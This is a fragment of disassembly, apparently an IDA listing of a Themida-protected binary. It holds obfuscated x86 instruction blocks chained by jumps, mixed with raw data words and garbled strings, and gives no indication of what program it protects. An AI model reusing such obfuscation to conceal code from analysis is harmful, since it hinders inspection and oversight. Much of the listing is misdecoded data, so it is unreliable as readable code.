not ebx
add ebx, 986135DCh
xor edi, ebx
mov ebx, [esp]
add esp, 4
and eax, edi
pop edi
shr eax, 10h
xor eax, ecx
push 4CB3h
mov [esp], eax
xor [esp], eax
jmp loc_55EE8A
; ---------------------------------------------------------------------------
loc_55408C: ; CODE XREF: Themida_:0055B7C8j
pop ebx
and ebx, 54D5320Dh
xor ebx, 10013209h
add ebp, ebx
mov ebx, [esp]
add esp, 4
add ebp, 4
jmp loc_55A1FC
; ---------------------------------------------------------------------------
loc_5540AC: ; CODE XREF: Themida_:00558E4Dj
neg ebp
sub ebp, 49220BCh
mov esi, ebp
jmp loc_563E44
; ---------------------------------------------------------------------------
aZsC db 'Zé>C',0
dd 0EB72E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5540C6: ; CODE XREF: Themida_:005532C3j
mov eax, 9C4157Fh
sub [esp+4], eax
pop eax
pop ebp
push ecx
mov ecx, 0D216871h
and ecx, 7C653828h
xor ecx, 5E53D5Fh
add ebp, ecx
pop ecx
jmp loc_566E35
; ---------------------------------------------------------------------------
db 0FFh
dd 0E9042474h, 53E7h, 649A68h, 243C8900h, 0CDE9DF89h, 52FFFFEEh
dd 0FFFBFFBAh, 1C5721FFh, 8B2434FFh, 10E92414h
db 36h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554117: ; CODE XREF: Themida_:005602DDj
push dword ptr [esp]
pop edi
jmp loc_558918
; ---------------------------------------------------------------------------
loc_554120: ; CODE XREF: Themida_:00554441j
sub esp, 4
mov [esp], eax
mov eax, 6A647880h
shl eax, 1
sub eax, 0FFFFFFFFh
jmp loc_55831B
; ---------------------------------------------------------------------------
dd 7F6B7368h, 0EA895D3Bh, 10DBAE9h, 2434FF00h, 582434FFh
dd 97CFE9h, 6EAC100h, 4EC81h, 0C890000h, 56FFB924h, 0F1814E93h
dd 4CC589D4h, 2D59CA31h, 799F377Ch, 5055D001h, 892DA9B8h
dd 0B30BD5Fh, 0C501FA3Bh, 0FAE94D58h, 0FF0000A9h, 0F7E92434h
dd 89000067h, 4C681E6h, 52000000h, 29716DBAh, 6EAC134h
dd 0F6FEA81h, 424A5860h, 0A1A9C281h, 0EAD19C7Bh, 5585E9h
db 0
; ---------------------------------------------------------------------------
loc_5541B5: ; CODE XREF: Themida_:005581B3j
xor edx, [esp]
xor [esp], edx
jmp loc_556AEC
; ---------------------------------------------------------------------------
loc_5541C0: ; CODE XREF: Themida_:00563F1Fj
mov [esp], ax
mov ah, 82h
add dl, 76h
add dl, ah
jmp loc_55B1F5
; ---------------------------------------------------------------------------
dd 8124048Bh, 4C4h, 7C166800h, 2C890000h, 4EC8324h, 68242489h
dd 10DFh, 0BB241C89h, 4, 4245C01h, 0C5815D5Bh, 4, 0ABE2E9h
dd 0E7E95600h, 59000126h, 875DEA09h, 14F753DAh, 0DA315B24h
dd 0DA31D331h, 8224F281h, 3A05B304h, 5009902h, 2FB51ECCh
dd 0CC2DD001h, 2D2FB51Eh, 99023Ah, 8124148Bh, 4C4h, 1E56E900h
dd 0F7660001h, 0E99C241Ch, 0FFFFE9E8h, 6824248Bh, 7B06h
dd 0E9241489h, 0B8E5h
; ---------------------------------------------------------------------------
loc_554260: ; CODE XREF: Themida_:00564808j
push ebx
jmp loc_55B01F
; ---------------------------------------------------------------------------
dw 0B768h
dd 5943042Dh, 0F3E9D9F7h, 890000B1h, 29E7E9E1h, 57580000h
dd 855EE9h, 5EF32100h, 7340EB81h, 902DC8D3h, 2942487Fh
dd 7F9005D8h, 685B4248h, 5667h, 26FEE9h, 0C1E95700h
db 0E4h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5542A7: ; CODE XREF: Themida_:00567A95j
add ecx, edi
jmp loc_558AE2
; ---------------------------------------------------------------------------
dw 0EAC1h
dd 0D8E8E906h, 0E9590000h, 0ACF4h
; ---------------------------------------------------------------------------
loc_5542BC: ; CODE XREF: Themida_:005660CBj
mov esi, 6D8C7BA8h
shl esi, 4
or esi, 572051FFh
neg esi
dec esi
add esi, 0DFE7FC04h
add ecx, esi
jmp loc_56028C
; ---------------------------------------------------------------------------
dw 0D2BEh
dd 2914680Eh, 0C7815EF7h, 1BF74A0Bh, 6B32E9h
db 0
; ---------------------------------------------------------------------------
loc_5542ED: ; CODE XREF: Themida_:005536CAj
sub eax, 0FFFFFFFFh
jmp loc_56515F
; ---------------------------------------------------------------------------
db 1
dd 2434FFFEh, 8901E9h
db 0
; ---------------------------------------------------------------------------
loc_554301: ; CODE XREF: Themida_:00555469j
pop esp
and ecx, 230B6EFFh
sub ecx, 0E34C0413h
push ecx
xor dword ptr [esp], 6B283CB6h
pop eax
xor eax, 6B283CB6h
mov ecx, [esp]
add esp, 4
jmp loc_55A868
; ---------------------------------------------------------------------------
loc_554327: ; CODE XREF: Themida_:00558AFEj
mov ebx, 0
add ebx, ecx
add eax, [ebx]
jmp loc_55F873
; ---------------------------------------------------------------------------
loc_554335: ; CODE XREF: Themida_:005603DAj
mov [esp], ebx
jmp loc_5598F4
; ---------------------------------------------------------------------------
loc_55433D: ; CODE XREF: Themida_:00563A85j
pop ecx
jmp loc_5630D4
; ---------------------------------------------------------------------------
db 2Ch
dd 4D02869h, 0B2526669h, 0D22E9CDh, 68660001h, 89663DFDh
dd 30B42404h, 5866E300h, 4DA768h, 240C8900h, 50AFB753h
dd 0C588F888h, 8124048Bh, 4C4h, 2434FF00h, 0D119E9h, 4C18300h
dd 5C240C87h, 2BD55h, 0EE010000h, 2434335Dh, 33243431h
dd 0D25C2434h, 0E99C242Ch, 13998h, 55BDA01h, 44FE37A2h
dd 5CE9D001h, 5600013Bh, 191F68h, 242C8900h, 0F15DC268h
dd 0BE565D22h, 61453470h, 0F4AEE9h
db 0
; ---------------------------------------------------------------------------
loc_5543CD: ; CODE XREF: Themida_:0055B366j
shl al, 1
or al, 18h
shr al, 7
sub esp, 4
mov [esp], edx
push ebx
mov bh, 91h
or bh, 4Eh
jmp loc_55F250
; ---------------------------------------------------------------------------
aTzsp db 'TZéÑ',0
align 4
dd 0FF242C89h, 0FF042474h, 835D2434h, 48F04C4h, 6A17E924h
dd 0E95C0000h, 0EAE1h, 405h, 2014E900h, 8B660000h, 0BD682404h
dd 89000001h, 0ABE9241Ch, 0FF000127h, 5A042474h, 6A05E9h
dd 4C68300h, 114BBE9h
db 0
; ---------------------------------------------------------------------------
loc_554435: ; CODE XREF: Themida_:0055DDFEj
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
jmp loc_554120
; ---------------------------------------------------------------------------
dw 8B66h
dd 8951240Ch, 332A68E1h, 34890000h, 2790BE24h, 895035E5h
dd 405E0h, 42D0000h, 87000000h, 248B2404h, 241C8924h, 8904EC83h
dd 5BD242Ch, 815C6763h, 1A1E35F5h, 0D1E5D13Eh, 80C581E5h
dd 5190D862h, 112C0E9h, 6AC4B900h, 4FE97FE1h, 1000063h
dd 0EF835AD7h, 6EFC1FFh, 0EFC1D7F7h, 0EBBA5208h, 0E960AB07h
dd 702Eh
; ---------------------------------------------------------------------------
loc_5544B4: ; CODE XREF: Themida_:0055A150j
sub edx, esi
pop esi
jmp loc_55FED5
; ---------------------------------------------------------------------------
loc_5544BC: ; CODE XREF: Themida_:0055535Aj
mov edi, esp
push ebx
mov ebx, 4
add edi, ebx
pop ebx
jmp loc_562A8E
; ---------------------------------------------------------------------------
dd 5C242C87h, 87240C89h, 9CE9243Ch
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5544DB: ; CODE XREF: Themida_:005556B4j
sub ebx, 594343B9h
and ebx, 22E32937h
xor ebx, 58535BF4h
sub ebp, ebx
pop ebx
sub ebp, 692954BAh
pop edi
xchg ebp, [esp]
mov esp, [esp]
push 5EB5h
mov [esp], ecx
mov ecx, 40000h
and eax, ecx
push dword ptr [esp]
jmp loc_55BA23
; ---------------------------------------------------------------------------
dd 4BF57h, 0E7E90000h, 89000113h, 0BD552434h, 31C70390h
dd 82536ABEh, 5DEE01E9h, 8102EEC1h, 4ECh, 24148900h, 0E40CE9h
db 0
; ---------------------------------------------------------------------------
loc_554541: ; CODE XREF: Themida_:0056737Bj
add ebp, 0FFFFFFFFh
jmp loc_558190
; ---------------------------------------------------------------------------
db 33h, 3Ch, 24h
dd 33243C31h, 248B243Ch, 0E7895724h, 0E904EC83h, 0FFFFEF9Ch
dd 9E4AE868h, 0E181595Ch, 4F9A30A1h, 743BE181h, 0FDE912D2h
dd 0F7000026h, 243C87D7h, 371EE959h, 8A5B0001h, 8802244Ch
dd 0E9022454h, 133A1h
; ---------------------------------------------------------------------------
loc_554590: ; CODE XREF: Themida_:0055B882j
mov eax, 4
add ebp, eax
pop eax
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
shr eax, 12h
xor eax, ecx
push 31D4h
mov [esp], eax
xchg esi, [esp]
xchg ebp, esi
jmp loc_559DC9
; ---------------------------------------------------------------------------
db 0B0h, 0D1h, 0E9h
dd 0FFFFE9E6h
; ---------------------------------------------------------------------------
loc_5545C0: ; CODE XREF: Themida_:00567BEDj
and edx, 95D5158h
xor edx, offset dword_545004
add ebp, edx
mov edx, [esp]
jmp loc_56679B
; ---------------------------------------------------------------------------
dw 57BBh
dd 0E9700545h, 0A35Fh, 2404875Ch, 8924248Bh, 49E92414h
db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5545EF: ; CODE XREF: Themida_:0055C3A8j
xchg ebx, [esp]
pop esp
mov [esp], ebx
sub esp, 4
mov [esp], edx
mov edx, 4912B52h
inc edx
not edx
jmp loc_55D057
; ---------------------------------------------------------------------------
loc_554609: ; CODE XREF: Themida_:00563EECj
mov ecx, 77BD797Eh
shr ecx, 1
shl ecx, 5
not ecx
inc ecx
push ebp
mov ebp, 179DF82Ch
sub ecx, 0B555A5Ah
sub ecx, 371A7DD0h
add ecx, 3DB283Ch
sub ecx, ebp
sub ecx, 3DB283Ch
add ecx, 371A7DD0h
push esi
jmp loc_56007B
; ---------------------------------------------------------------------------
dw 0F750h
dd 35582414h, 0BD369E9Eh, 0D4E9C389h
db 8, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554653: ; CODE XREF: Themida_:00567C84j
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
push 5205h
mov [esp], edx
push eax
mov eax, esp
push ebp
mov ebp, 1C723D09h
add ebp, 0E38DC2FBh
add eax, ebp
mov ebp, [esp]
add esp, 4
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
mov [esp], ebx
jmp loc_55753F
; ---------------------------------------------------------------------------
aSqsi db 'SQéëÕ',0
dw 0FF00h
dd 34FF2434h, 24048B24h, 3A98E9h, 24048F00h, 4240483h
dd 0E92434FFh, 0FE7Fh, 94EB815Bh, 1D72412h, 39BCE9DFh
dd 8F5D0001h, 2D5C2404h, 16FF7D0Ah, 8BE9E9h, 39BA5200h
dd 0D151250Ch, 0CA8142EAh, 6E755E0Eh, 73A7EA81h, 0D1014DD9h
dd 4E9C15Ah, 0C6BE5655h, 0F7187A4Bh, 0E9D6F7DEh, 82DEh
; ---------------------------------------------------------------------------
loc_554700: ; CODE XREF: Themida_:005673EDj
sub ecx, edx
pop edx
xchg ecx, [esp]
mov esp, [esp]
mov [esp], edx
mov edx, 41D76678h
shl edx, 2
shl edx, 4
sub edx, 1A7117E1h
sub edx, 393330F5h
xor ebp, edx
pop edx
and eax, ebp
pop ebp
or eax, eax
jz loc_5663B6
push dword ptr [edi+28h]
jmp loc_55A43A
; ---------------------------------------------------------------------------
aTRPtfpsx db 'T^RºTfPéx=',0
align 2
dw 0C380h
dd 80C3FE93h, 0FE957F3h, 8800003Fh, 3CE953DCh, 1000067h
dd 30E95EF5h
db 0BDh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554763: ; CODE XREF: Themida_:00565302j
mov ebx, 4BC80029h
add esi, ebx
pop ebx
pop edi
jmp loc_5647C1
; ---------------------------------------------------------------------------
loc_554771: ; CODE XREF: Themida_:005550E8j
xor ebx, ecx
pop ecx
sub [edi+24h], ebx
jmp loc_5649AD
; ---------------------------------------------------------------------------
dd 4247C01h, 0C4BBE95Fh, 0E9010000h, 20C1815Dh, 29BFCEA2h
dd 0FD3159CFh, 81243C8Bh, 4C4h, 5DEF2900h, 5C9568h, 243C8900h
dd 42474FFh, 81243C8Bh, 4C4h, 24048F00h, 40B5E95Ch, 4AC0000h
dd 0E999048Bh, 429Ah, 34FFCE30h, 0D25BE924h, 68510000h
dd 2DAF323Ch, 6B12E9h, 0EE815E00h, 37CA24E6h, 0D36EC681h
dd 0F289656Eh, 11C4E95Eh
db 1, 0
; ---------------------------------------------------------------------------
loc_5547F2: ; CODE XREF: Themida_:00567F1Fj
push ecx
push edx
mov edx, 6CA06975h
jmp loc_562B68
; ---------------------------------------------------------------------------
aS7i db '\é7ë',0
align 4
loc_554804: ; CODE XREF: Themida_:00567829j
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_55F725
; ---------------------------------------------------------------------------
aWhsu db 'Wh‘u',0
dd 4EC8300h, 6EA4E954h, 83580000h, 1C3304EBh, 241C3124h
dd 5C241C33h, 83241489h, 3C8904ECh, 27ECBF24h, 7C312B4Ah
dd 0BCE90424h
db 34h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55484B: ; CODE XREF: Themida_:00554DADj
xchg esi, [esp]
pop esp
jmp loc_55EA7A
; ---------------------------------------------------------------------------
dd 4C481h, 0E72C0000h, 0C4E9E9h
db 0
; ---------------------------------------------------------------------------
loc_554861: ; CODE XREF: Themida_:0056165Fj
xor bl, dh
pop edx
and bl, 95h
sub bl, 40h
xor ch, bl
jmp loc_55E81A
; ---------------------------------------------------------------------------
loc_554871: ; CODE XREF: Themida_:0056693Dj
sub ebp, 4
xchg ebp, [esp]
jmp loc_564755
; ---------------------------------------------------------------------------
align 10h
dd 1AE5E9F0h
db 1, 0
; ---------------------------------------------------------------------------
loc_554886: ; CODE XREF: Themida_:005626EBj
mov ebp, 52200648h
push ebp
neg dword ptr [esp]
pop ebp
jmp loc_55AE6C
; ---------------------------------------------------------------------------
db 29h, 0D3h, 5Ah
dd 8CFFE951h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55489E: ; CODE XREF: Themida_:005536ACj
push ebx
jmp loc_567240
; ---------------------------------------------------------------------------
aIH1e db '‰<$h1e',0
align 4
dd 81242489h, 42404h, 0E95F0000h, 8327h, 1C8BDF89h, 0E1895124h
dd 0FFC8E9h, 5E08900h, 4, 405h, 0F6BDE900h, 0EB010000h
dd 4EC815Dh, 89000000h, 3B9240Ch, 3107DE6Bh, 0C38159CBh
dd 56337E11h, 0A5E94093h, 560000CEh, 0C681E689h, 4, 8704C683h
dd 8F5C2434h, 0CDE92404h, 5C0000CEh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ebx
sub esp, 4
mov [esp], edi
push ecx
mov ecx, 6B6D7B6Eh
mov edi, ecx
pop ecx
mov ebx, 3C9E6A33h
xor ebx, edi
jmp loc_5576AF
; ---------------------------------------------------------------------------
db 31h, 14h, 24h
dd 0A554E9h, 4C68100h, 0E9000000h, 10089h, 0E2D2E95Eh
dd 8B66FFFFh, 0B668240Ch, 89000054h, 5954240Ch, 33C7E956h
db 1, 0
; ---------------------------------------------------------------------------
loc_55497A: ; CODE XREF: Themida_:0055619Dj
pop ebp
sub ebp, 15D5D2Ah
pop edx
push ebx
mov ebx, 27BA3FADh
sub ebx, 1F443855h
jmp loc_554D17
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4832414h, 4EC8104h, 0E9000000h, 14D5h, 0E959CA29h
dd 2A16h
; ---------------------------------------------------------------------------
loc_5549AC: ; CODE XREF: Themida_:0055C61Aj
mov ebp, [esp]
add esp, 4
xor ebp, 1EDF5E63h
push eax
mov eax, ebp
jmp loc_55FCCD
; ---------------------------------------------------------------------------
dd 84C30BFh, 0F7814F38h, 0CC5489Dh, 0E903EFC1h, 0FFFFEF7Bh
dd 2C8BE921h, 0E0895024h, 9ADCE9h
db 0
; ---------------------------------------------------------------------------
loc_5549E1: ; CODE XREF: Themida_:0056243Ej
xor ecx, 12906296h
dec ecx
xor ecx, 64585435h
sub esp, 4
mov [esp], ebp
mov ebp, 0FA4DE73Ch
sub ecx, 1D3C7C23h
add ecx, ebp
add ecx, 1D3C7C23h
pop ebp
push 3476h
jmp loc_553809
; ---------------------------------------------------------------------------
loc_554A15: ; CODE XREF: Themida_:0055E2B5j
add edi, 5CC70445h
inc edi
not edi
and edi, 2FEE4379h
sub edi, 76221487h
xor edi, 2AA88B5Ch
xor esi, edi
pop edi
add edx, esi
jmp loc_567076
; ---------------------------------------------------------------------------
dw 0B850h
dd 0E7B7628h, 7907F50Dh, 61D80527h, 54074B8h, 0A021941Eh
dd 8158C321h, 0E7765BF3h, 733B053Fh, 5BE95018h
db 0BCh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554A63: ; CODE XREF: Themida_:0055378Bj
push dword ptr [edi+eax*4]
push dword ptr [esp]
pop eax
push esi
mov esi, esp
jmp loc_55FB52
; ---------------------------------------------------------------------------
dw 0BA52h
dd 4, 815AD601h, 4EEh, 24348700h, 2414895Ch, 0D12667BAh
dd 9FE6BB1Dh, 0D3293DC7h, 0E924148Bh, 11978h, 8B2434FFh
dd 0C481243Ch, 4, 81E78957h, 4C7h, 4BB5300h, 1000000h
dd 59F8E9DFh, 14890000h, 39E95324h
db 4Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554AC7: ; CODE XREF: Themida_:005617C3j
pop esi
push dword ptr [esp]
pop eax
push esi
push esp
pop esi
jmp loc_553AE6
; ---------------------------------------------------------------------------
dd 8159CB89h, 0C004EFF3h, 5BD9296Bh, 4EC81h, 0C890000h
dd 2474FF24h, 0A2E95904h, 83FFFFEAh, 3C8904ECh, 56E78924h
dd 4BEh, 5EF70100h, 4BE56h, 0F7290000h, 301DE95Eh, 2CB80001h
dd 313D8833h, 24048BC3h, 5E96E9h, 81E78900h, 4C7h, 7B95100h
dd 0C17EB92Fh, 814104E9h, 0EB92EDE9h, 59CF0107h, 2474FF57h
dd 48F5F04h, 8EE95C24h, 810000CFh, 4C3h, 4BA5200h, 29000000h
dd 0E4E95AD3h, 68000084h, 298h, 56240C89h, 0EF0226BEh
dd 565AE93Ch, 0C7810000h, 4, 8B243C87h, 0EB812424h, 6E535543h
dd 57B2EB81h, 0C3015B01h, 57B2C381h, 0EC815B01h, 4, 51243C89h
dd 0E5614FB9h, 0EB95125h, 0BF7D8600h, 0AED715C8h, 35E9CF01h
db 71h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554BB3: ; CODE XREF: Themida_:00562099j
push dword ptr [esp]
pop eax
jmp loc_552E50
; ---------------------------------------------------------------------------
aAS2 db '€Ãêé;2',0
align 4
loc_554BC4: ; CODE XREF: Themida_:00562418j
mov edx, 653A2DAFh
mov edi, 0F4E926EAh
add edi, edx
pop edx
add dword ptr [esp+4], 6B841209h
add [esp+4], edi
jmp loc_555389
; ---------------------------------------------------------------------------
dw 0B951h
dd 134A3892h, 8159CE29h, 24488FC6h, 0E9C60159h, 0FFFFEEFAh
dd 775FF181h, 0E9C179E6h, 0ADF18108h, 81686E86h, 0BB7F85EDh
dd 81CD0109h, 0BB7F85C5h, 0ED815909h, 2B1547F3h, 0C583C581h
dd 0EB29920Bh, 8E9FE9h, 246C8100h, 190E2D04h, 95B2E92Bh
dd 9660000h, 48B66C6h, 2C48324h, 0BF665766h, 81662BBEh
dd 667CB6C6h, 0C2EEE81h, 55FE0166h, 6111E9h, 22BB5300h
dd 1207802h, 0C6815BDEh, 5E1209E0h, 8541E9h, 0BE565E00h
dd 1CEE572Ah, 0A7734905h, 2DF02936h, 36A77349h, 2FBD555Eh
dd 5034AA16h, 0A58DE9h, 4C48300h, 0EF4E953h, 0F5810000h
dd 4EA555B3h, 815DEA21h, 460E61F2h, 8BD63149h, 0E7E92414h
dd 590000C4h, 370DE957h, 0C8B0000h, 0FFCFE924h, 0B951FFFFh
dd 0DF56EE9h, 8159CD89h, 0D8EB82C5h, 5DEE015Fh, 0B3E9C601h
dd 30000015h, 24048BE7h, 8004C483h, 0A8E93BE9h, 100009Eh
dd 0BE95DEEh, 5F0000D4h, 0ED81E5D1h, 109AB1C0h, 685DE801h
dd 3A68h, 0E9240489h, 0E3BFh, 1F80C981h, 0C1833D14h, 81E951FFh
db 27h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554D17: ; CODE XREF: Themida_:0055498Ej
neg ebx
sub ebx, 2562480Eh
add ebx, 0E1E256Dh
add ebx, 67C5B9F1h
mov esi, ebx
pop ebx
push ecx
jmp loc_5609D1
; ---------------------------------------------------------------------------
loc_554D34: ; CODE XREF: Themida_:005630A4j
push ebx
mov ebx, 4
push ebp
jmp loc_553B71
; ---------------------------------------------------------------------------
loc_554D40: ; CODE XREF: Themida_:0055759Aj
add esp, 4
neg eax
dec eax
push eax
not dword ptr [esp]
pop eax
add eax, 0A861C575h
add eax, 115B1A94h
add eax, 737AABh
add eax, edi
sub eax, 737AABh
sub eax, 115B1A94h
push dword ptr [eax]
jmp loc_5591B3
; ---------------------------------------------------------------------------
db 59h, 81h, 0C1h
dd 69126B73h, 0E981D101h, 69126B73h, 240C335Ah, 33240C31h
dd 37E9240Ch
db 2Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554D8B: ; CODE XREF: Themida_:0055CC30j
mov ebp, 4
add ecx, 3B91B3Dh
add ecx, ebp
sub ecx, 3B91B3Dh
mov ebp, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_55484B
; ---------------------------------------------------------------------------
dw 0EB28h
dd 5EEB8059h, 0FFC0B60Fh, 0CEE98734h
db 30h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554DC3: ; CODE XREF: Themida_:00564EB6j
add ebp, ebx
pop ebx
jmp loc_5581DF
; ---------------------------------------------------------------------------
db 89h
dd 18E957E3h, 3400010Eh, 58C2880Ah, 148BD730h, 4C48124h
dd 0
dd 2434FFF8h, 5954515Bh, 4C181h, 0C1830000h, 74FF5104h
dd 0C8B0424h, 4C48124h, 8F000000h, 665C2404h, 0E94FD068h
dd 4EDBh, 67FF6855h, 0C15D483Fh, 696802E5h, 89000053h
dd 0FF68240Ch, 59FFFFFFh, 640CED81h, 0CD015D9Ah, 640CC581h
dd 0C8B5D9Ah, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h
dd 774EE9h
db 0
; ---------------------------------------------------------------------------
loc_554E51: ; CODE XREF: Themida_:005563D5j
shl al, 2
jmp loc_5668EB
; ---------------------------------------------------------------------------
loc_554E59: ; CODE XREF: Themida_:00556E34j
xor edi, 0DD28D95Fh
jmp loc_565B45
; ---------------------------------------------------------------------------
dd 5366D6F6h, 0C688F388h, 0E146E9h, 81EB0100h, 0A12C37C3h
dd 0C9EB8104h, 8B7A1770h, 0D0E9242Ch, 8800006Dh, 5AF788EEh
dd 80CFFE59h, 1BE901EFh, 810000AAh, 6F2D32F5h, 107EE957h
dd 0C4810000h, 4, 50E18951h, 1E32BA52h, 0B3E9159Eh, 5F000058h
dd 575EF331h, 9158C6BFh, 9EF78116h, 8112F32Ch, 541481C3h
dd 0BE71E91Eh, 0E1D10000h, 4BE8C981h, 0BAE92884h, 8D00010Eh
dd 0BE688704h, 89000030h, 0E0892404h, 5C6D68h, 240C8900h
dd 0C22EE9h, 4AEC8000h, 0FFFDD6E9h, 240489FFh, 0F7EFE954h
dd 92250000h, 0C13ADC5Ch, 0A12D02E8h, 89C5E0E7h, 24048BC2h
dd 8304C483h, 21E901EAh, 58000029h, 0D107EBC1h, 5AC381E3h
dd 1FE98F2h, 241C8BDEh, 83E08950h, 35E904ECh
db 74h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554F43: ; CODE XREF: Themida_:0055E2FEj
pop esp
push dx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
jmp loc_5573FD
; ---------------------------------------------------------------------------
db 52h, 0BAh, 12h
dd 8141CB4Eh, 8C7801EFh, 81D72927h, 8C7801C7h, 0FFB3E927h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_554F7A: ; CODE XREF: Themida_:0055B423j
push 6A09h
mov [esp], edx
mov edx, 1
sub ecx, edx
pop edx
jmp loc_55C213
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 24048900h, 933EAFB8h, 4B85066h, 0D756412h, 7E2A6FF5h
dd 548D0F7h, 7DE64C1Ch, 0A405D8F7h, 0E95F12D8h, 4B2h
; ---------------------------------------------------------------------------
loc_554FBC: ; CODE XREF: Themida_:005573BDj
pop edx
xor ch, al
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_55B960
; ---------------------------------------------------------------------------
dw 0BD55h
dd 5DA2301Dh, 0B6E9D5F7h, 53FFFFEEh, 0C3F5E9h, 81D7F700h
dd 0D253A3E7h, 1AF78161h, 293C9B6Ah, 0F5015FFEh, 0B0F9E95Eh
dd 48F0000h, 24248B24h, 24048B66h, 3C916857h, 24890000h
dd 0E2895224h, 11C44E9h
db 0
; ---------------------------------------------------------------------------
loc_555015: ; CODE XREF: Themida_:0055E955j
push edi
mov edi, 4
jmp loc_563182
; ---------------------------------------------------------------------------
loc_555020: ; CODE XREF: Themida_:00556AA4j
sub dword ptr [esp+4], 7F673F3Fh
jmp loc_55D571
; ---------------------------------------------------------------------------
aRs_1 db 'Ré$',8,0
db 0
; ---------------------------------------------------------------------------
loc_555033: ; CODE XREF: Themida_:00564F77j
add ebp, ebx
sub ebp, 32483B5Eh
jmp loc_5598E8
; ---------------------------------------------------------------------------
dd 3A7BC281h, 0D5011A92h, 9FE0E9h, 4C48300h, 4C381h, 18E90000h
db 0FEh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55505B: ; CODE XREF: Themida_:00558625j
add edi, 34270CCh
and edi, 0FF366A8h
push ebx
jmp loc_5657DB
; ---------------------------------------------------------------------------
loc_55506D: ; CODE XREF: Themida_:005677B9j
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_55C950
; ---------------------------------------------------------------------------
dw 34FFh
dd 2434FF24h, 4C48359h, 4EC81h, 14890000h, 815A5424h, 4C2h
dd 5FB6E900h, 0E1880000h, 0FFE7B9E9h, 0E9F001FFh, 0FFFFFBC1h
dd 5358C601h, 8B65DEBBh, 15B85052h, 9795A36h, 24048BC3h
dd 0E904C483h, 11FA0h, 207F83ADh, 0FC840F00h, 57000097h
dd 2466BBBFh, 34E95243h, 31000088h, 0A2E955F1h
db 0B5h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5550E7: ; CODE XREF: Themida_:0055C340j
pop ebx
jmp loc_554771
; ---------------------------------------------------------------------------
db 81h, 0C6h, 8Fh
dd 811A3E17h, 460D38C6h, 35EE8159h, 8B2D1B30h, 0C483243Ch
dd 0DD78E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55510A: ; CODE XREF: Themida_:0056812Cj
xor ebp, [esp]
jmp loc_559187
; ---------------------------------------------------------------------------
loc_555112: ; CODE XREF: Themida_:00567D92j
add ebp, 4A146A0Ch
sub ebp, ecx
jmp loc_555C42
; ---------------------------------------------------------------------------
a5Mqqsh db '5(mqQéHÎ',0
dd 0DB0AE900h, 0E689FFFFh, 4C681h, 0C6810000h, 4, 446BE9h
db 0
; ---------------------------------------------------------------------------
loc_555141: ; CODE XREF: Themida_:0055F11Bj
sub esp, 4
mov [esp], ecx
jmp loc_56431B
; ---------------------------------------------------------------------------
loc_55514F: ; CODE XREF: Themida_:0055B6B4j
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5678C0
; ---------------------------------------------------------------------------
loc_555161: ; CODE XREF: Themida_:00556D0Fj
or edx, eax
shl edx, 1
jmp loc_5559BF
; ---------------------------------------------------------------------------
loc_55516A: ; CODE XREF: Themida_:00555E4Bj
mov ecx, 514704A5h
sub edx, ecx
pop ecx
mov ecx, edx
push dword ptr [esp]
jmp loc_55B2D5
; ---------------------------------------------------------------------------
loc_55517C: ; CODE XREF: Themida_:0055F684j
sub esp, 4
mov [esp], edi
jmp loc_55D36C
; ---------------------------------------------------------------------------
aSL db 9,'ÃéÄ‹',0
dd 4BA00h, 0D1010000h, 240C875Ah, 6DCA685Ch, 2FE90000h
dd 5C00006Fh, 6DBAE952h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5551AE: ; CODE XREF: Themida_:00566977j
push eax
mov eax, 7CA563C2h
push ebx
jmp loc_55C438
; ---------------------------------------------------------------------------
loc_5551BA: ; CODE XREF: Themida_:00555BFAj
pop esp
mov ebx, [esp]
add esp, 4
add [esp+4], eax
mov eax, [esp]
add esp, 4
mov edx, [esp]
add esp, 4
push ebp
push ebx
mov ebx, 5FD00AD5h
mov ebp, 0C8C24B06h
jmp loc_55E384
; ---------------------------------------------------------------------------
db 5Fh
dd 4C781h, 0C7830000h, 74FF5704h, 8F5F0424h, 248B2404h
dd 24048F24h, 6424248Bh, 29E90288h
db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55520F: ; CODE XREF: Themida_:00561C08j
dec ecx
jmp loc_55F97F
; ---------------------------------------------------------------------------
loc_555215: ; CODE XREF: Themida_:00553E56j
push ebp
mov ebp, 63A602C8h
jmp loc_55A6F9
; ---------------------------------------------------------------------------
loc_555220: ; CODE XREF: Themida_:00566B31j
add ebp, edx
pop edx
add ebp, 4
push 11E8h
mov [esp], ebp
